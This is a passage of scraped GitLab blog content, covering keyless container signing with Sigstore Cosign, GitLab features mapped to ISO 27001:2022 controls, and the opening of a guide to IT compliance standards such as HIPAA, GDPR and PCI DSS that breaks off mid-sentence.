}",{"title":2704,"description":2705,"authors":2709,"heroImage":2085,"date":2711,"body":2712,"category":14,"tags":2713},[2710],"Sam White","2023-09-13","\nTraditional cryptographic keys have created security issues and management overhead for software development teams for years. To address these security issues and ease the administrative burden, GitLab is partnering with Sigstore to use their command-line utility Cosign for [keyless signing and verification](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html), which can be done by adding just a few lines in a yml file.\n\nBefore digging too far into the integration, though, let's take a closer look at some of the issues of traditional key management and some of the benefits of keyless signing.\n\n## Traditional key management\nCryptographic keys have been a mainstay of securing software and network elements for years. Traditional key management involves the generation, storage, distribution, and protection of cryptographic keys that are essential for processes like encryption, decryption, and digital signing. While these methods have worked well over the years, they pose challenges that can impact security and operational efficiency.\n\n* Complexity and risk of exposure: Generating, storing, and distributing cryptographic keys manually can be error-prone and time-consuming. This complexity increases the risk of key exposure due to mismanagement or vulnerabilities in the key storage systems.\n\n* Security risk: Risk that the key management system (KMS) might be compromised and the private key leaked. There is no way for users to verify that the public key has not been tampered with or modified.\n\n* Key rotation complexity: Regular key rotation is a security best practice, but it can be complex to manage, especially when dealing with large numbers of keys. Key rotation will often disrupt applications.\n\n* Key revocation: Revoking access to keys that are no longer needed or that have been compromised can be challenging, especially if those keys are widely used across different parts of your application.\n\n* Integration complexity: Integrating your application with a KMS can introduce complexity. If your application is distributed or consists of microservices the complexity increases.\n\n* Key distribution: There is no standard way of distributing public keys. A system for distribution must be selected and secure, and if that system is compromised the public key must be changed.\n\n![A diagram of how traditional key management works](https://about.gitlab.com/images/blogimages/traditionalkeymanagement.png){: .shadow}\n\nHow traditional key management works\n{: .note.text-center}\n\n## The move to keyless signing\nRecently, the industry has been making a push towards keyless signing. With keyless signing, a message is signed using an ephemeral key that is generated and used for signing. The key is only valid for a few minutes, greatly reducing the complexity and security issues associated with traditional key management.\n\nKeyless signing has several advantages. \n* Enhanced security: Keyless signing removes the need to store private keys on user devices, reducing the risk of exposure to malware or unauthorized access. \n\n* Simplified key management: With keyless signing, the complexities of key generation, distribution, and rotation are abstracted, leading to simplified key management processes. This streamlines operational workflows and reduces the potential for human error.\n\n* Audit trail: Keyless signing systems provide comprehensive audit trails and logging. Artifact verification is possible since public keys cannot be tampered with.\n\n* Remote signing and access: Keyless signing allows remote signing operations, enabling users to sign documents and transactions securely from anywhere. This capability enhances accessibility and collaboration without sacrificing security.\n\n* Regulatory compliance: The audit trails and accountability provided by keyless signing solutions facilitate regulatory compliance. With keyless signing, organizations can more confidently meet industry standards and demonstrate their commitment to secure practices.\n\n\n![A diagram of how keyless signing works](https://about.gitlab.com/images/blogimages/keylesssigningdiagram.png){: .shadow}\n\nHow keyless signing works\n{: .note.text-center}\n\n## Keyless signing within GitLab\nGitLab has partnered with one of the leaders in the keyless signing space, Sigstore, to help customers move away from traditional keys and easily make the transition to keyless signing.  \n\nThe Sigstore project provides a command-line utility called Cosign, which can be used for keyless signing of container images built with the GitLab CI/CD. By adding a few lines of code to the GitLab yml file, GitLab users can use Cosign to leverage the benefits of keyless signing. Sigstore’s Cosign enables software developers to sign release files, binaries, and other software artifacts.  \n\nOnce enabled within GitLab, when a user runs a pipeline, Cosign requests a short-lived key pair to use for signing, records it on a certificate transparency log (Rektor), and then discards it. The key is generated through a token obtained from the GitLab server using the [OIDC](https://docs.gitlab.com/ee/administration/auth/oidc.html) identity of the user who ran the pipeline. This token includes unique claims that certify the token was generated by a CI/CD pipeline. The private key only lasts for a short time so there is no need to store it or rotate it. With Cosign, verification data, including the public key, signature, and signing timestamp, is written to the immutable Rektor log (an append-only transparency ledger) so that signing events can be publicly audited. Users can then verify the binary and signature against the public key.\n\nThe whole process is quick and easy and greatly increases system-wide security. With this integration, there is no longer a need to set up a key management system, no longer a need to rotate keys, and no longer a need to distribute public keys. Life is simpler and more secure!\n\n## Next steps\nThis feature is now available on all tiers of GitLab SaaS.\n\nWatch a setup demo here:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Ws2D77n4nAg?si=jhDRWXH7oJEwvyLS\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nFor more details, check out [Sigstore’s keyless signature documentation](https://docs.sigstore.dev/#how-sigstore-works) and then start your [free trial of GitLab Ultimate](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com).\n\n\n\n\n\n",[14,798,282,231],{"slug":2715,"featured":6,"template":677},"keyless-signing-with-cosign","content:en-us:blog:keyless-signing-with-cosign.yml","Keyless Signing With Cosign","en-us/blog/keyless-signing-with-cosign.yml","en-us/blog/keyless-signing-with-cosign",{"_path":2721,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2722,"content":2727,"config":2732,"_id":2734,"_type":16,"title":2735,"_source":17,"_file":2736,"_stem":2737,"_extension":20},"/en-us/blog/how-gitlab-can-support-your-iso-compliance-journey",{"title":2723,"description":2724,"ogTitle":2723,"ogDescription":2724,"noIndex":6,"ogImage":1381,"ogUrl":2725,"ogSiteName":767,"ogType":768,"canonicalUrls":2725,"schema":2726},"How GitLab can support your ISO 27001 compliance journey","As a strategic partner, GitLab's software security features can help support your ISO 27001 compliance.","https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab can support your ISO 27001 compliance journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2023-09-06\",\n      }",{"title":2723,"description":2724,"authors":2728,"heroImage":1381,"date":2729,"body":2730,"category":14,"tags":2731},[772],"2023-09-06","\nAs a single, all-inclusive platform, managing your DevSecOps lifecycle with GitLab is easy. GitLab’s platform enables developers to build better software faster. But the effectiveness of GitLab extends beyond DevSecOps.\n\nIn October of 2022, the International Organization for Standardization released the latest edition of the ISO 27001 standard. ISO/IEC 27001:2022 includes several changes from its previous edition, including the addition of Annex A controls focused on secure coding and configuration management.\n\nAt GitLab, we leverage our platform to support many aspects of our security compliance program, a concept we internally call [dogfooding](https://about.gitlab.com/direction/dogfooding/). An overview of the compliance and assurance credentials that we maintain can be found on our [Trust Center](https://about.gitlab.com/security/) page.\n\nLet’s review the primary functions you can leverage to support your ISO 27001 compliance journey.\n\n## Organizational controls\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 5.3 Segregation of duties | Conflicting duties and conflicting areas of responsibility shall be segregated. |\n| 5.15 Access control | Rules to control physical and logical access to information and other associated assets shall be established and implemented based on business and information security requirements. |\n| 5.16 Identity management | The full lifecycle of identities shall be managed. |\n| 8.2 Privileged access rights | The allocation and use of privileged access rights shall be restricted and managed.|\n| 8.4 Access to source code | Read and write access to source code, development tools, and software libraries shall be appropriately managed. |\n\nWith GitLab, you can [assign users a role](https://docs.gitlab.com/ee/user/permissions.html) when you add them to a project or group. A user’s role determines the actions they can take within your GitLab instance. The following roles are available for assignment:\n* Guest (private and internal projects only)\n* Reporter\n* Developer\n* Maintainer\n* Owner\n* Minimal access (available for the top-level group only)\n\nGitLab’s roles enable you to limit a user’s permissions in accordance with the [principle of least privilege](https://csrc.nist.gov/glossary/term/least_privilege) and your business and information security requirements.\n\nGitLab enables you to centralize authentication and authorization responsibilities for your GitLab instance through [SAML SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) integrations. GitLab integrates with a wide range of identity providers to support our customers’ diverse tech stacks. GitLab also supports the System for Cross-Domain Identity Management ([SCIM](https://docs.gitlab.com/ee/user/group/saml_sso/scim_setup.html)). Through GitLab’s SSO and SCIM integrations, you can automate the lifecycle of your user identities in a secure and efficient manner.\n\n[SSO](https://docs.gitlab.com/ee/integration/saml.html) and [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html) are also available for GitLab self-managed customers.\n\n**Note:** Annex A Technological controls 8.2 and 8.4 were included in the chart above due to their close relationship with Organizational controls 5.3, 5.15, and 5.16. The same GitLab features can be applied to support these control requirements.\n{: .note}\n\n\u003Cbr>\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 5.8 Information security in project management | Information security shall be integrated into project management. |\n\nWith GitLab, you can use our [planning tools](https://about.gitlab.com/features/?stage=plan) to support your project management efforts and ensure information security is being appropriately considered through all phases of a project’s lifecycle.\n\n- GitLab’s [team planning](https://about.gitlab.com/features/?stage=plan#team_planning) features enable users to organize, plan, align, and track project work from idea to production.\n\n- [Epics](https://docs.gitlab.com/ee/user/group/epics/), [issues](https://docs.gitlab.com/ee/user/project/issues/), and [tasks](https://docs.gitlab.com/ee/user/tasks.html) can be used to collaborate on ideas, solve problems, and plan work with your information security team. [Description templates](https://docs.gitlab.com/ee/user/project/description_templates.html) and [checklists](https://docs.gitlab.com/ee/user/markdown.html#task-lists) enable users to apply a consistent description and workflow to issues or [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html). These templates support a consistent approach to integrating information security into your project management lifecycle. \n\n- [Labels](https://docs.gitlab.com/ee/user/project/labels.html) allow users to organize issues as they see fit. To support information security, labels may be used to identify the risk level associated with a project, identify the stage a project is in, or identify the information security team that is responsible for a set of work. [Scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) can be used to add further logic to workflows by preventing certain labels from being used together. At GitLab, we leverage [scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) to identify work assigned to different teams, the project stage the work resides in, and the product or feature set associated with the work.\n\n![Scoped Labels](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/scoped-labels.png)\n\nScoped Labels\n{: .note.text-center}\n\n- [Group](https://docs.gitlab.com/ee/user/project/issue_board.html#group-issue-boards) and [project](https://about.gitlab.com/stages-devops-lifecycle/issueboard/) issue boards can be used to further organize your work and provide a central, aggregated view of all work associated with a group or project.\n\n## Technological controls\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 8.8 Management of technical vulnerabilities | Information about technical vulnerabilities of information systems in use shall be obtained, the organization’s exposure to such vulnerabilities shall be evaluated and appropriate measures shall be taken. |\n| 8.9 Configuration management | Configurations, including security configurations, of hardware, software, services and networks shall be established, documented, implemented, monitored, and reviewed. |\n| 8.25 Secure development lifecycle | Rules for the secure development of software and systems shall be established and applied. |\n| 8.26 Application security requirements | Information security requirements shall be identified, specified, and approved when developing or acquiring applications. |\n| 8.27 Secure system architecture and engineering principles | Principles for engineering secure systems shall be established, documented, maintained, and applied to any information system development activities |\n\nWith GitLab, you can store your hardware and software configurations, maintain version control, update your configurations via [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/index.html), and leverage GitLab’s [CI/CD pipelines](https://docs.gitlab.com/ee/ci/pipelines/) to push those configurations to your applications and infrastructure. GitLab enables organizations to implement [GitOps](https://about.gitlab.com/topics/gitops/) through a single platform.\n\nGitLab’s [infrastructure-as-code scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) functionality enables you to scan your IaC configuration files for known vulnerabilities. GitLab’s IaC scanning supports a variety of IaC configuration files and languages making it adaptable to different tech stacks.\n\nFor compliance professionals, GitLab enables you to implement automation through [compliance frameworks](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) and [compliance pipelines](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html#compliance-pipelines). These features enable users to identify critical projects that have certain compliance requirements and push configurations to those projects via pipelines. They enable consistent enforcement of controls, thereby supporting your security posture and facilitating adherence to your organization’s internal and external compliance requirements.\n\nFor [Ultimate](https://about.gitlab.com/pricing/ultimate/) customers, GitLab’s [Compliance Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html) provides a centralized view of a group’s compliance posture, such as the different compliance frameworks being applied to the projects in the group. You can even see how well you comply with the [GitLab Standard](https://docs.gitlab.com/ee/user/compliance/compliance_center/index.html#gitlab-standard).\n\n\u003Cbr>\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 8.15 Logging | Logs that record activities, exceptions, faults and other relevant events shall be produced, stored, protected, and analyzed. | \n| 8.16 Monitoring activities Control | Networks, systems, and applications shall be monitored for anomalous behavior and appropriate actions taken to evaluate potential information security incidents. |\n\nWith GitLab, you can use [audit events](https://docs.gitlab.com/ee/administration/audit_events.html) to track important events, including who performed the related action and when. Audit events cover a broad range of categories, including:\n* Group management\n* Authentication and authorization\n* User management\n* Compliance and security\n* CI/CD\n* GitLab Runners\n\n![Audit events](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/example-of-an-audit-event.png)\n\nExample of an audit event\n{: .note.text-center}\n\nFor [Ultimate](https://about.gitlab.com/pricing/ultimate/) customers, [audit event streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/index.html) can be enabled. Audit event streaming enables users to set a streaming destination for a top-level group or instance to receive all audit events about the group, subgroups, and projects, as structured JSON.\n\n\u003Cbr>\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 8.28 Secure coding | Secure coding principles shall be applied to software development. |\n| 8.29 Security testing in development and acceptance | Security testing processes shall be defined and implemented in the development lifecycle. | \n\nYou can use the features in GitLab’s [Secure](https://about.gitlab.com/features/?stage=secure) stage to enhance your software development lifecycle and improve the security of your products. GitLab’s Secure stage features include:\n* [Static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [Code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html)\n* [Container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [Dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n\nAnd much more!\n\n![Code quality findings](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/code-quality-findings.png)\n\nCode quality findings\n{: .note.text-center}\n\nLeaked secrets is one of the leading catalysts of security breaches. GitLab’s [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/) scans your repository to help prevent your secrets from being exposed.\n\nGitLab’s [Policies](https://docs.gitlab.com/ee/user/application_security/policies/) feature enables users to implement [scan execution](https://docs.gitlab.com/ee/user/application_security/policies/scan-execution-policies.html) and [scan result](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) policies based on configured logic. These policies combine the scanning capabilities in the [Secure](https://about.gitlab.com/features/?stage=secure) stage with [merge request approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/) to further enforce compliance requirements.\n\nTogether, GitLab’s Secure features create a foundation for a secure software development lifecycle program and enable you to implement secure coding principles in accordance with your organization’s requirements.\n\n\u003Cbr>\n\n| Control ID | Control Description |\n| ---- | ---- |\n| 8.32 Change management | Changes to information processing facilities and information systems shall be subject to change management procedures. |\n\nGitLab offers many features to support a comprehensive change management program.\n\nGitLab’s source code management features enable users to implement [protected branches](https://docs.gitlab.com/ee/user/project/protected_branches.html). Protected branches allow GitLab users to impose restrictions on certain branches that are considered critical to their operations. A protected branch controls:\n* which users can merge into the branch\n* which users can push to the branch\n* if users can force push to the branch\n* if changes to files listed in the CODEOWNERS file can be pushed directly to the branch\n* which users can unprotect the branch\n\nThe [default branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html) in a repository is automatically designated as a protected branch.\n\n![Protected branches](https://about.gitlab.com/images/blogimages/2023-08-24-how-gitlab-can-support-your-iso-compliance-journey/protected-branches-settings-within-gitlab.png)\n\nProtected branches settings within GitLab\n{: .note.text-center}\n\nMerge requests (MR) are a core component of the software development lifecycle. GitLab users can configure their MRs so that they must be approved before they can be merged. MR approvals allow users to set the minimum number of required approvals before work can merge into a project. Some examples of rules you can create include:\n* Users with specific permissions can always approve work.\n* [Code owners](https://docs.gitlab.com/ee/user/project/codeowners/index.html) can approve work for files they own.\n* Users with specific permissions can approve work, [even if they don’t have merge rights](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#merge-request-approval-segregation-of-duties) to the repository.\n* Users with specific permissions can be allowed or denied the ability to [override approval rules on a specific merge request](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#edit-or-override-merge-request-approval-rules).\n\nAs previously mentioned, [issues](https://docs.gitlab.com/ee/user/project/issues/) and [tasks](https://docs.gitlab.com/ee/user/tasks.html) can be used to document and collaborate on change requests. [Description templates](https://docs.gitlab.com/ee/user/project/description_templates.html) enable users to apply a consistent description to issues or [MRs](https://docs.gitlab.com/ee/user/project/merge_requests/index.html). These templates support a consistent approach to requesting changes in a manner that best fits your organization.\n\n## Learn more\nAs a comprehensive DevSecOps platform, GitLab supports a broad range of requirements. ISO added additional controls around secure coding and configuration management in the 2022 edition of the ISO standard. This demonstrates that certifying bodies have an increased focus on software security as a whole. As a strategic partner, GitLab can help support your ISO 27001 compliance journey and help you develop better software faster.\n\nTo learn more about these features, see our library of [tutorials](https://docs.gitlab.com/ee/tutorials/).",[14,715,2426],{"slug":2733,"featured":6,"template":677},"how-gitlab-can-support-your-iso-compliance-journey","content:en-us:blog:how-gitlab-can-support-your-iso-compliance-journey.yml","How Gitlab Can Support Your Iso Compliance Journey","en-us/blog/how-gitlab-can-support-your-iso-compliance-journey.yml","en-us/blog/how-gitlab-can-support-your-iso-compliance-journey",{"_path":2739,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":2740,"content":2745,"config":2752,"_id":2754,"_type":16,"title":2755,"_source":17,"_file":2756,"_stem":2757,"_extension":20},"/en-us/blog/meet-regulatory-standards-with-gitlab",{"title":2741,"description":2742,"ogTitle":2741,"ogDescription":2742,"noIndex":6,"ogImage":730,"ogUrl":2743,"ogSiteName":767,"ogType":768,"canonicalUrls":2743,"schema":2744},"Meet regulatory standards with GitLab security and compliance","Compliance is more than one-off audits; it's a continuous process of managing risk by implementing guardrails and monitoring specific metrics. Learn how with this comprehensive guide.","https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet regulatory standards with GitLab security and compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2023-08-17\",\n      }",{"title":2741,"description":2742,"authors":2746,"heroImage":730,"date":2748,"body":2749,"category":14,"tags":2750,"updatedDate":2751},[2747],"Abubakar Siddiq Ango","2023-08-17","Guiding principles in the form of standards have consistently ensured the secure and reliable delivery of products and services to customers. \nThese standards, typically enforced by legally mandated organizations, regulate industries and prevent the spread of subpar products.\n\nIn the Information Technology (IT) sector, adhering to standards extends beyond the final product delivery; it encompasses the entire solution lifecycle. As every industry increasingly leverages various forms of technology to accelerate processes and boost efficiency, vast quantities of often sensitive data are generated, stored, and transmitted using IT tools and services. The improper handling of this data can cause severe consequences, potentially leading to financial losses in the [hundreds of millions of dollars](https://tech.co/news/data-breaches-updated-list).\n\nThis comprehensive guide explains global compliance standards and walks through how to meet regulatory standards with GitLab compliance and security policy management.\n\nArticle contents:\n\n- [Common IT compliance standards](#common-it-compliance-standards)\n- [Global and regional compliance standards](#global-and-regional-compliance-standards)\n    - [Country/regional regulations](#countryregional-regulations)\n    - [Industry-specific standards](#industry-specific-standards)\n- [Importance of continuous compliance](#importance-of-continuous-compliance)\n- [Regulatory compliance vs. self-imposed standards](#regulatory-compliance-vs.-self-imposed-standards)\n- [Compliance management](#compliance-management)\n- [Compliance management with GitLab](#compliance-management-with-gitlab)\n    - [Compliance frameworks and pipelines](#compliance-frameworks-and-pipelines)\n    - [Security policy management](#security-policy-management)\n        - [Scan execution policies](#scan-execution-policies)\n        - [Scan result policies](#scan-result-policies)\n        - [License approval policies](#license-approval-policies)\n    - [Audit management](#audit-management)\n        - [Preparing for audits](#preparing-for-audits)\n        - [Using GitLab audit logs effectively](#using-gitlab-audit-logs-effectively)\n        - [Audit events streaming](#audit-events-streaming)\n- [Best practices for compliance management](#best-practices-for-compliance-management)\n- [Learn more](#learn-more)\n\n## Common IT compliance standards\nRegulatory compliance standards take various forms and depend on the industry or region in which an organization operates. First, we will look at common compliance standards, followed by region and industry-specific standards.\n\n### HIPAA\n\nThe [Health Insurance Portability and Accountability Act (HIPAA)](https://www.hhs.gov/hipaa/index.html) is important legislation that has impacted the healthcare industry in the U.S. The main aim of HIPAA, passed in 1996, is to protect sensitive patient health information from being disclosed without the patient's consent or knowledge.\n\nIt is essential to safeguard patient privacy, ensure data security, and standardize electronic healthcare transactions. HIPAA has forced healthcare providers, insurers, and related entities to implement strict data protection measures, significantly reducing unauthorized access to medical records and enhancing patient trust.\n\n### GDPR\n\n[The General Data Protection Regulation (GDPR)](https://gdpr-info.eu/) is a significant European Union law that governs the protection of personal data. Implemented in 2018, GDPR establishes strict guidelines for organizations handling the personal information of EU residents. It grants individuals greater control over their data, including the right to access, rectify, and erase personal information held by companies. GDPR mandates that organizations obtain explicit consent before collecting or processing personal data and clearly explain the purpose of data collection. Non-compliance can result in substantial financial penalties.\n\nAlthough an EU regulation, GDPR has global implications, affecting any organization that processes EU residents' data. This legislation has prompted widespread changes in data handling practices and has heightened awareness of privacy issues worldwide.\n\n### NIST SSDF\n\nThe [NIST Secure Software Development Framework (SSDF)](https://csrc.nist.gov/Projects/ssdf) is a guide to help organizations make safer software. Created by the National Institute of Standards and Technology, it offers [basic practices for secure software development](https://about.gitlab.com/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/).\n\nThe SSDF focuses on four main areas: getting the organization ready, protecting the software, making well-secured software, and dealing with vulnerabilities. It helps companies think about security, including security protocols, during development and throughout the software supply chain.\n\nBy following these guidelines, organizations can create software with fewer weak points and handle problems more effectively. The SSDF is flexible and can work with different software development methods, making it useful for many organizations.\n\n### PCI DSS\n\nThe [Payment Card Industry Data Security Standard (PCI DSS)](https://www.pcisecuritystandards.org/) is a set of security rules for organizations that handle credit card information. Created by major credit card companies, it aims to protect cardholders' data and prevent fraud. PCI DSS requires businesses to build and maintain a secure network, protect cardholder data, use strong access control measures, regularly monitor and test networks, and maintain an information security policy. These rules apply to any company that accepts, processes, stores, or transmits credit card data.\n\nCompliance with PCI DSS is mandatory for these businesses, regardless of their size or transaction volume. By following these standards, companies can better safeguard sensitive financial information, reduce the risk of data breaches, and maintain customer trust. Regular audits ensure ongoing compliance with these important security measures.\n\n### ISO 27000\n\n[ISO/IEC 27000](https://www.iso.org/standard/iso-iec-27000-family) provides the foundational framework for the ISO/IEC 27000 family of standards, offering a comprehensive overview of information security management systems (ISMS). It establishes a standardized vocabulary by defining key terms and concepts, ensuring consistent understanding across organizations in the field of information security.\n\nThe standard outlines the core components and processes to establish and maintain an effective ISMS. This guidance enables organizations to systematically manage information security risks, protecting confidential data and intellectual property.\n\nAdherence to ISO/IEC 27000 allows organizations to build a robust ISMS, enhancing their resilience against cyber threats, safeguarding valuable information assets, and fostering stakeholder trust.\n\n> [Learn how GitLab can help you on your ISO 27001 compliance journey.](https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey/)\n\n## Global and regional compliance standards\n\n### Country/regional regulations\n\nWhile compliance standards like HIPAA and GDPR are known globally, they are USA and EU standards respectively. They influence other regional standards around the globe but are only required for companies to adhere to where they handle data from, for example, the EU. Several countries have compliance standards that must be met if a company operates in such countries. Here are a few other country-specific standards:\n- [SOX](https://en.wikipedia.org/wiki/Sarbanes%E2%80%93Oxley_Act) (USA, Public companies): Sarbanes-Oxley Act. Mandates proper financial record-keeping and reporting for public companies.\n- [PIPEDA](https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/) (Canada, Commercial businesses): Personal Information Protection and Electronic Documents Act. Governs how private sector organizations collect, use, and disclose personal information.\n- [PDPA](https://www.pdpc.gov.sg/overview-of-pdpa/the-legislation/personal-data-protection-act) (Singapore, All organizations): Personal Data Protection Act. Governs the collection, use, and disclosure of personal data by organizations.\n- [APPI](https://www.ppc.go.jp/files/pdf/Act_on_the_Protection_of_Personal_Information.pdf) (Japan, All industries): Act on the Protection of Personal Information. Regulates the use of personal information in Japan.\n- [LGPD](https://lgpd-brazil.info/) (Brazil, All industries): Lei Geral de Proteção de Dados. Brazil's data protection law is similar to GDPR.\n- [FISMA](https://www.cisa.gov/topics/cyber-threats-and-advisories/federal-information-security-modernization-act) (USA, Federal agencies): Federal Information Security Management Act. Defines a framework for managing information security for federal information systems.\n- [POPI Act](https://popia.co.za/) (South Africa, All sectors): The Protection of Personal Information Act promotes the protection of personal information processed by public and private bodies.\n- [PDPA](https://www.pwc.com/th/en/tax/personal-data-protection-act.html) (Thailand, All sectors): Personal Data Protection Act. Like GDPR, it regulates the collection, use, and disclosure of personal data in Thailand.\n- [PIPL](https://en.wikipedia.org/wiki/Personal_Information_Protection_Law_of_the_People%27s_Republic_of_China) (China, All sectors): Personal Information Protection Law. China's first comprehensive data protection law is similar to GDPR.\n- [NDPR](https://nitda.gov.ng/wp-content/uploads/2021/01/NDPR-Implementation-Framework.pdf) (Nigeria, All sectors): Nigeria Data Protection Regulation. Safeguards the rights of natural persons to data privacy. \n- [DIFC Data Protection Law](https://www.difc.ae/business/laws-and-regulations/legal-database/difc-laws/data-protection-law-difc-law-no-5-2020) (Dubai, Companies in Dubai International Financial Centre): Regulates the processing of personal data in the DIFC free zone.\n- [PDPA](https://www.pdp.gov.my/jpdpv2/laws-of-malaysia-pdpa/personal-data-protection-act-2010/?lang=en) (Malaysia, Commercial transactions): Personal Data Protection Act. Regulates the processing of personal data in commercial transactions.\n- [Privacy Act](https://www.ag.gov.au/rights-and-protections/privacy) (Australia, Government agencies, and some private sector organizations) regulates how personal information is handled by Australian government agencies and some private sector organizations.\n- [KVKK](https://www.kvkk.gov.tr/Icerik/6649/Personal-Data-Protection-Law) (Turkey, All sectors): Turkish Personal Data Protection Law. Regulates the processing of personal data and protects individual rights.\n\nThese standards reflect the growing global concern for data privacy and security. Many countries are developing their own frameworks inspired by established regulations like GDPR. Each standard is tailored to the specific legal, cultural, and economic context of its country.\n\n### Industry-specific standards\n\n- [PCI DSS](https://www.pcisecuritystandards.org/) (Financial Services): The Payment Card Industry Data Security Standard applies to all organizations that handle credit card information globally.\n- [ISO 27001](https://www.iso.org/standard/iso-iec-27000-family) (All industries) is an Information Security Management System standard that provides a framework for information security management practices.\n- [GAMP 5](https://qbdgroup.com/en/blog/gamp-categories/) (Pharmaceutical): Good Automated Manufacturing Practice. Guidelines for computerized systems in pharmaceutical manufacturing.\n- [ISO 13485](https://www.iso.org/standard/59752.html) (Medical Devices): Specifies requirements for a quality management system for medical device manufacturers.\n- [COBIT](https://www.isaca.org/resources/cobit) (IT Management): Control Objectives for Information and Related Technologies. Framework for IT management and IT governance.\n- [ITIL](https://en.wikipedia.org/wiki/ITIL) (IT Services) is an Information Technology Infrastructure Library, a set of detailed practices for IT service management.\n- [NIST CSF](https://www.nist.gov/cyberframework) (Cybersecurity): National Institute of Standards and Technology Cybersecurity Framework. Guidance on managing and reducing cybersecurity risk.\n- [WCAG](https://www.w3.org/WAI/standards-guidelines/wcag/) (Web Accessibility): The Web Content Accessibility Guidelines aim to make web content more accessible to people with disabilities.\n- [Basel III](https://www.bis.org/bcbs/basel3.htm) (Banking) is the international regulatory framework for banks, including IT risk management requirements.\n- [TISAX](https://portal.enx.com/en-US/TISAX/) (Automotive): Trusted Information Security Assessment Exchange. Information security assessment and exchange mechanism for the automotive industry. (Learn how [GitLab's TISAX certification](https://about.gitlab.com/blog/gitlab-drives-automotive-industry-information-security-with-tisax/) helps customers in the automotive industry.)\n\nThese standards apply across national boundaries to specific industries or aspects of IT, ensuring consistent practices and security measures globally within their respective domains.\n\n## Importance of continuous compliance\nOrganizations need to implement systems that ensure compliance with relevant regulatory requirements and can achieve this with continuous compliance. [Continuous software compliance](https://about.gitlab.com/solutions/compliance/) is essential to every industry, as it provides ongoing monitoring, assessment, and adjustment of an organization's systems, processes, and practices to ensure they consistently meet relevant standards and regulations.\n\nContinuous compliance is not just a regulatory checkbox but a strategic necessity for software development today. It empowers organizations to proactively navigate emerging threats, technological shifts, and regulatory changes while fostering stakeholder trust, operational efficiency, and competitive advantage in an increasingly complex business environment.\n\n## Regulatory compliance vs. self-imposed standards\n\nRegulatory compliance and self-imposed standards are two distinct approaches to organizational governance. Regulatory compliance involves adhering to mandatory laws and regulations set by external authorities, which have a broad scope and potential legal consequences for non-compliance. It focuses on meeting minimum legal requirements and is generally less flexible. Examples include GDPR, HIPAA, and SOX.\n\nIn contrast, self-imposed standards are voluntary guidelines adopted by organizations to improve quality, security, or performance. These can be tailored to specific needs, are highly adaptable, and typically aim to exceed minimum requirements. While failure to meet self-imposed standards may impact reputation, it usually doesn't have legal ramifications.\nThe key differences lie in their origin, motivation, adaptability, and scope. Many organizations implement both approaches to create a comprehensive quality, security, and performance management strategy.\n\n## Compliance management\n\nTo meet standards, organizations must evaluate the right [compliance metrics](https://advisory.kpmg.us/articles/2018/compliance-metrics.html) and integrate them into their standard operating procedures to provide insights that enable early detection and prevention of current and future compliance risks. Thus, there is a need for efficient [compliance management](https://about.gitlab.com/solutions/compliance/). Compliance management goes beyond checking off a checklist periodically; it's a comprehensive organization-wide continuous process.\n\n## Compliance management with GitLab\n\nGitLab provides features that allow organizations to create [compliance frameworks](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html), [security policies](https://docs.gitlab.com/ee/user/application_security/policies/), and [audit management](https://docs.gitlab.com/ee/administration/audit_reports.html). GitLab also enables compliance or leadership teams to monitor compliance metrics with [compliance reports](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html). Let's take a look at some of these features.\n\n### Compliance frameworks and pipelines\n\nOrganizations can create a [compliance 